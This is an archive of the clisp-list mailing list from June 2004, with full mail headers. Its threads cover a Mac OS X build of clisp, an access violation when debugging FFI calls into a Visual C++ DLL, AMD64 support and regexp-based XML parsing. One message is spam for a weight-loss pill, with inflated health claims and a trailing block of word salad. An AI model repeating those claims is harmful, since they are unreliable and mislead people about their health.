amavisd-new X-DCC--Metrics: grant.org 1074; Body=1 Fuz1=1 Fuz2=1 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] I am sorry, I got that working. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 31 22:22:01 2004 X-Original-Date: Tue, 1 Jun 2004 01:20:22 -0400 I finally-after a lot of trial and error-got your clisp working on my Mac OS X 10.2.8. I am sorry for being a pain in the ass in the past and am also sorry for sending the semi-rude email I sent on May 24th. I was just impatient and frustrated at the time. I just finished putting together the computer science section of my web site for now. I have the binary posted on it. Would you be interested in linking to it or downloading it from the site and putting it on the source forge page? Please let me know. The URL for my computer science page is http://sam.jovi.net/Computer_Science3.html and the clisp section is at the bottom. thanks, Sam From sds@gnu.org Tue Jun 01 07:37:01 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVANx-0002xn-2C for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 07:37:01 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVANv-00035Z-TS for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 07:37:00 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i51EaJBs018777; Tue, 1 Jun 2004 10:36:19 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Sam P Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <613654FB-B38B-11D8-BB64-000393B3B454@jovi.net> (Sam P.'s message of "Tue, 1 Jun 2004 01:20:22 -0400") References: <613654FB-B38B-11D8-BB64-000393B3B454@jovi.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Sam P Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: I am sorry, I got that working. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 1 07:38:01 2004 X-Original-Date: Tue, 01 Jun 2004 10:36:19 -0400 > * Sam P [2004-06-01 01:20:22 -0400]: > > I finally-after a lot of trial and error-got your clisp working on my > Mac OS X 10.2.8. good! > Would you be interested in linking to it or downloading it from the > site and putting it on the source forge page? Please let me know. The > URL for my computer science page is > http://sam.jovi.net/Computer_Science3.html and the clisp section is at > the bottom. the way to create a binary distribution is to do $ make distrib in the build directory. please make the resulting clisp-....-macos-.....tar.gz available for download. -- Sam Steingold (http://www.podval.org/~sds) running w2k .ACMD setaloiv siht gnidaeR From andreas.thiele@technologiekontor.de Tue Jun 01 07:48:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVAYv-0005Hc-E6 for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 07:48:21 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BVAYu-0004pa-SB for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 07:48:21 -0700 Received: from atpws02 (pD90523EB.dip.t-dialin.net [217.5.35.235]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id i51EmIbV022726 for ; Tue, 1 Jun 2004 16:48:19 +0200 (MEST) From: "Andreas Thiele" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 1 07:49:09 2004 X-Original-Date: Tue, 1 Jun 2004 16:48:21 +0200 I wrote a (c++) DLL using msvc 6.0. So far clisp 'call-outs' and = 'call-ins' work fine. Now - since things get more complex - I'd like to be able to debug my = DLL using msvc debugger. This is normally no problem, but when I try to = start debugging the clisp process I run into an=20 access violation=20 exception. I can't start clisp (lisp.exe -M lispinit.mem ...) from = within the debugger. If I don't specify the image, I don't run into any = access violation (but obviously I can't work/debug :-)). Any hints/help/alternatives are greatly appreciated. Why does the debugger sense access violation while the program run = standalone works fine? From ampy@ich.dvo.ru Tue Jun 01 15:19:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVHbc-0002As-Bb for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 15:19:36 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVHbb-00047F-Eq for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 15:19:35 -0700 Received: from lenin (host-206-142.hosts.vtc.ru [212.16.206.142]) by vtc.ru (8.12.11/8.12.11) with ESMTP id i51MJGcE029429; Wed, 2 Jun 2004 09:19:18 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <25172406.20040602091920@ich.dvo.ru> To: "Andreas Thiele" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 1 15:20:01 2004 X-Original-Date: Wed, 2 Jun 2004 09:19:20 +1100 > I wrote a (c++) DLL using msvc 6.0. So far clisp 'call-outs' and 'call-ins' work fine. > Now - since things get more complex - I'd like to be able to debug my DLL using msvc debugger. This is normally no problem, but when I try to start debugging the clisp process I run into an > access violation > exception. I can't start clisp (lisp.exe -M lispinit.mem ...) from within the debugger. If I don't specify the image, I don't run into any access violation (but obviously I can't work/debug :-)). > Any hints/help/alternatives are greatly appreciated. > Why does the debugger sense access violation while the program run standalone works fine? Indeed. Never noticed that before. BTW, what OS do you using ? I see no easy solution. There's debug Makefile for MSVC 6.0, but sources are not in MSVC compileable state. Debug version runs pretty well in debugger on my computer. Nondebug is not, whether it's cygwin or MSVC built. -- Best regards, Arseny From andreas.thiele@technologiekontor.de Tue Jun 01 15:57:57 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVICj-0000vq-G5 for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 15:57:57 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVICi-00023w-UC for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 15:57:57 -0700 Received: from atpws02 (p50819AA9.dip.t-dialin.net [80.129.154.169]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id i51MvrhG018115 for ; Wed, 2 Jun 2004 00:57:53 +0200 (MEST) From: "Andreas Thiele" To: Subject: AW: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <25172406.20040602091920@ich.dvo.ru> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 1 15:58:12 2004 X-Original-Date: Wed, 2 Jun 2004 00:57:56 +0200 -----Ursprungliche Nachricht----- Von: clisp-list-admin@lists.sourceforge.net [mailto:clisp-list-admin@lists.sourceforge.net]Im Auftrag von Arseny Slobodjuck Gesendet: Mittwoch, 2. Juni 2004 00:19 An: Andreas Thiele Cc: clisp-list@lists.sourceforge.net Betreff: Re: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL > I wrote a (c++) DLL using msvc 6.0. So far clisp 'call-outs' and 'call-ins' work fine. > Now - since things get more complex - I'd like to be able to debug my DLL using msvc debugger. This is normally no problem, but when I try to start debugging the clisp process I run into an > access violation > exception. I can't start clisp (lisp.exe -M lispinit.mem ...) from within the debugger. If I don't specify the image, I don't run into any access violation (but obviously I can't work/debug :-)). > Any hints/help/alternatives are greatly appreciated. > Why does the debugger sense access violation while the program run standalone works fine? Indeed. Never noticed that before. BTW, what OS do you using ? I see no easy solution. There's debug Makefile for MSVC 6.0, but sources are not in MSVC compileable state. Debug version runs pretty well in debugger on my computer. Nondebug is not, whether it's cygwin or MSVC built. -- Best regards, Arseny Thanks for your help. I tried the debug makefile. No success. Did I get you right, there is a debug version of clisp? I don't want to debug clisp, just the calls into and inside my DLL. I am no c++ expert, but I think I have to attach to the clisp process or load clisp in the debugger. With another app, this worked fine. I used WinXP, I'll try W2K. But a debug version clisp would be helpful. Didn't find it yet. Can I? I use clisp 2.32 at the moment. Thanks From ljelmore@comcast.net Tue Jun 01 16:32:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVIkZ-0006WK-UU for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 16:32:55 -0700 Received: from rwcrmhc11.comcast.net ([204.127.198.35]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVIkZ-000883-Ob for clisp-list@lists.sourceforge.net; Tue, 01 Jun 2004 16:32:55 -0700 Received: from comcast.net (c-24-1-189-90.client.comcast.net[24.1.189.90]) by comcast.net (rwcrmhc11) with ESMTP id <2004060123324901300d2agje> (Authid: ljelmore); Tue, 1 Jun 2004 23:32:49 +0000 Message-ID: <40BD11A9.2000709@comcast.net> From: Larry Elmore User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.6) Gecko/20040529 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp on AMD64 Linux? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 1 16:33:07 2004 X-Original-Date: Tue, 01 Jun 2004 18:30:49 -0500 Has anybody gotten clisp running on Gentoo AMD64 Linux? Or is this something that still needs to be compiled and run in 32-bit mode? Thanks, Larry From dworley_kz@frauenberger.de Tue Jun 01 18:14:09 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVKKX-0008II-Bv; Tue, 01 Jun 2004 18:14:09 -0700 Received: from [210.183.97.91] (helo=westnet.com.au ident=ISG-25034) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BVKKV-00005T-UO; Tue, 01 Jun 2004 18:14:08 -0700 Received: from 201.139.240.48 by smtp.frauenberger.de; Wed, 02 Jun 2004 01:12:31 +0000 Message-ID: From: "Donald Worley" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.3 ALL_NATURAL BODY: Spam is 100% natural?! 0.1 EXCUSE_10 BODY: "if you do not wish to receive any more" 0.8 BIZ_TLD URI: Contains a URL in the BIZ top-level domain Subject: [clisp-list] Powerful weightloss now available for you. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 1 18:15:02 2004 X-Original-Date: Tue, 01 Jun 2004 20:12:06 -0500 Hello, I have a special_offer for you... WANT TO LOSE WEIGHT? The most powerful weightloss is now available without prescription. All natural Adipren720 100% Money Back Guarantée! - Lose up to 19% Total Body Weight. - Up to 300% more Weight Loss while dieting. - Loss of 20-35% abdominal Fat. - Reduction of 40-70% overall Fat under skin. - Increase metabolic rate by 76.9% without Exercise. - Boost your Confidence level and Self Esteem. - Burns calorized fat. - Suppresses appetite for sugar. Get the facts about all-natural Adipren720 If you wish not to be contacted again please enter your email address here. ---- system information ---- used For many navigational subject orderings include: sending relevant more-general subtle sending interchange dates zh case sounds obtains requests Existing user's dates number set writes create assumption Description place Discussion deterministic Group similar-looking adapted but into exposed Essential kinds around From ampy@ich.dvo.ru Tue Jun 01 21:45:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVNce-0008Hv-3h; Tue, 01 Jun 2004 21:45:04 -0700 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BVNcc-0003rA-2p; Tue, 01 Jun 2004 21:45:03 -0700 Received: from 192.168.8.116 ([192.168.8.116]) by chemi.ich.dvo.ru (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id i524ijkb019775; Wed, 2 Jun 2004 15:44:46 +1100 From: Arseny Slobodjuk X-Mailer: The Bat! (v1.60q) Reply-To: Arseny Slobodjuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <11499192484.20040602155010@ich.dvo.ru> To: clisp-list-admin@lists.sourceforge.net, "Andreas Thiele" CC: clisp-list@lists.sourceforge.net Subject: Re: AW: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 NO_EXPERIENCE BODY: No experience needed! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 1 21:46:01 2004 X-Original-Date: Wed, 2 Jun 2004 15:50:10 +1100 > Thanks for your help. I tried the debug makefile. No success. Did I get you Have you built clisp with debug makefile ? Current sources need some patching for this. > right, there is a debug version of clisp? I don't want to debug clisp, just > the calls into and inside my DLL. I am no c++ expert, but I think I have to > attach to the clisp process or load clisp in the debugger. With another app, > this worked fine. I used WinXP, I'll try W2K. But a debug version clisp > would be helpful. Didn't find it yet. Can I? I use clisp 2.32 at the moment. There is MSVC makefile for debugging (win32msvc/makefile.msvc5d). Debug versions of clisp are not distributed of course. The version I've built 6 months ago doesn't crash like others. Moreother, the one I've just built with cygwin/mingw/with-debug doesn't crash either. I have no experience with debugging of FFI programs. Don't know whether source-level debugging is possible in this case. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From hall.cj@verizon.net Wed Jun 02 00:34:38 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVQGj-0000yY-Ti for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 00:34:37 -0700 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVQGj-0003Nr-Ij for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 00:34:37 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out009.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040602073435.KUIP29216.out009.verizon.net@naia.homelinux.net> for ; Wed, 2 Jun 2004 02:34:35 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BVQGg-0001Zg-00 for ; Tue, 01 Jun 2004 21:34:34 -1000 To: clisp-list@lists.sourceforge.net Message-ID: <20040602073434.GG12512@naia.homelinux.net> References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> <20040527170607.GC12512@naia.homelinux.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="L977DYpOHGH1NqKf" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out009.verizon.net from [4.64.145.131] at Wed, 2 Jun 2004 02:34:35 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 2 00:35:00 2004 X-Original-Date: Tue, 1 Jun 2004 21:34:34 -1000 --L977DYpOHGH1NqKf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, May 27, 2004 at 02:01:17PM -0400, Sam Steingold wrote: > Chris, > it just occurred to me that you are parsing an XML file: maybe you > would prefer to use a full parser instead of searching for a specific > element? > CLOCC/CLLIB/xml.lisp will parse the whole XML file for you. > There are other CL XML parsers available, check out cliki. Thanks, and wow! that parser looks pretty complete! Even has namespace support, if I read it correctly. I think we might need to use it soon, but for this particular task, the regexp is probably much the better solution. I don't know how many people use regexps for 'consuming' XML, but for many purposes I've found them to be much easier and light-weight than using a SAX parser. Sorry I took so long to respond, but I'm getting ready to move living quarters and I've been spending all my spare time hand-crafting a Debian install on a very old (6 years or so) Toshiba laptop w/32MB RAM and 1GB disk as a fairly complete development and 'Emacs support' environment. ;-D The more I use Debian, the more impressed I am with it, and clisp fits right in, since it requires only about ~2-3MB ram to load. Clisp 2.33 with regexp, postgresql and bindings/glibc has built successfully; 'make check' is running as I write this. FWIW, I'm using the Debian kernel 2.4bf (or is it bf2.4?) this time - it has the PCMCIA-support in the kernel, I think. Thanks again, Sam, +Chris P.S. Debian note: If one uses the text-mode browser w3m to browse http://packages.debian.org and download a package, w3m will display the package info and ask if you'd like to install the package. Even if one is not running as 'root', it gives one a chance to 'sudo' or equivalent. And it works! Woot! I imagine other browsers might support this as well, but this is certainly the first I'd heard of it. I imagine that some sort of 'MIME magic' is in play here. __ No single drop of water thinks it is responsible for the flood. -- Old adage --L977DYpOHGH1NqKf Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAvYMKrZy455Pig6QRApdmAJ9+RNsx9bgj/iRCSK7droxcenTAUgCbB2fn /T9tM3ukuvf/iJP3dEKWtnM= =t4iS -----END PGP SIGNATURE----- --L977DYpOHGH1NqKf-- From andreas.thiele@technologiekontor.de Wed Jun 02 01:25:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVR3g-0002tF-32 for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 01:25:12 -0700 Received: from natsmtp00.rzone.de ([81.169.145.165]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVR3f-0005NU-Ey for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 01:25:11 -0700 Received: from atpws02 (pD95D40AD.dip.t-dialin.net [217.93.64.173]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id i528OqQL025497; Wed, 2 Jun 2004 10:24:52 +0200 (MEST) From: "Andreas Thiele" To: "Arseny Slobodjuk" Cc: Subject: AW: AW: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <11499192484.20040602155010@ich.dvo.ru> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 NO_EXPERIENCE BODY: No experience needed! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 2 01:26:06 2004 X-Original-Date: Wed, 2 Jun 2004 10:24:56 +0200 >... doesn't crash either. I have no experience with debugging of FFI >programs. Don't know whether source-level debugging is possible in >this case. Thanks again, Your answer is helpfull for me, although I think I am facing the tough way. I will try the cygwin approach. I'll also try to explain what I am doing a little more precise because I believe everbody who tries to write a DLL using visual studio will run into this problem case. I wrote a DLL which will be called via FFI. Thus the DLL is visible from within the clisp process and must be debugged in this context (at least I think so ;-)). I also wrote FFI calls from the (outdated ?) Gold Hill Lisp. Now I don't have the Gold Hill sources and I even don't need them. I am using microsoft visual studio 6.0 (c++ SP4, on WinXP SP1) and only have my DLL source on screen. I set a break point in my DLL and tell the debugger to start Gold Hill Lisp. After loading my lisp program, when lisp trys to call my DLL via FFI the break point is invoked and I can debug/step through my code within visual studio. So in this case, I don't want debug clisp - just my DLL. But something is special about clisp. When I tell the ms debugger to start clisp, clisp crashes with an access violation even before I loaded my lisp program. (I think this could be caused by the way clisp is compiled and linked, but I have no real clue on this.) Does anybody have a hint or solution? May be there is an easy way to debug using cygwin? Thanks. From Tod.A.Smith@aadc.com Wed Jun 02 05:07:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVUWU-00080f-6i for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 05:07:10 -0700 Received: from orion.allison.com ([199.20.2.1] helo=sinpap51.aadc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVUWT-0003JH-VZ for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 05:07:10 -0700 Received: by zus-4.aadc.com with Internet Mail Service (5.5.2655.55) id ; Wed, 2 Jun 2004 07:07:01 -0500 Message-ID: <1B3C59880C496F41A515A01F0C49D0B9018BC23E@zus-4.aadc.com> From: "Smith, Tod A (AADC Indy)" To: "'clisp-list@lists.sourceforge.net'" Subject: RE: AW: [clisp-list] Debugging clisp FFI calls into a newly creat ed (c++) DLL MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain; charset="iso-8859-1" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 2 05:08:03 2004 X-Original-Date: Wed, 2 Jun 2004 07:06:52 -0500 I tried to debug one of my Fortran DLLs and ran into the exact same situation. I use Compaq Visual Fortran within Developer Studio. There is something about CLISP that the Developer Studio debugger doesn't like. > So in this case, I don't want debug clisp - just my DLL. But something is > special about clisp. When I tell the ms debugger to start clisp, clisp > crashes with an access violation even before I loaded my lisp program. (I > think this could be caused by the way clisp is compiled and linked, but I > have no real clue on this.) This email message and any attachments are for the sole use of the intended recipients and may contain proprietary and/or confidential information which may be privileged or otherwise protected from disclosure. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipients, please contact the sender by reply email and destroy the original message and any copies of the message as well as any attachments to the original message. From andreas.thiele@technologiekontor.de Wed Jun 02 05:33:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVUvf-0004uh-RF for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 05:33:11 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVUvf-0008C2-A8 for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 05:33:11 -0700 Received: from atpws02 (pD95D40AD.dip.t-dialin.net [217.93.64.173]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id i52CX6De005335 for ; Wed, 2 Jun 2004 14:33:07 +0200 (MEST) From: "Andreas Thiele" To: Subject: AW: AW: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <1B3C59880C496F41A515A01F0C49D0B9018BC23E@zus-4.aadc.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: 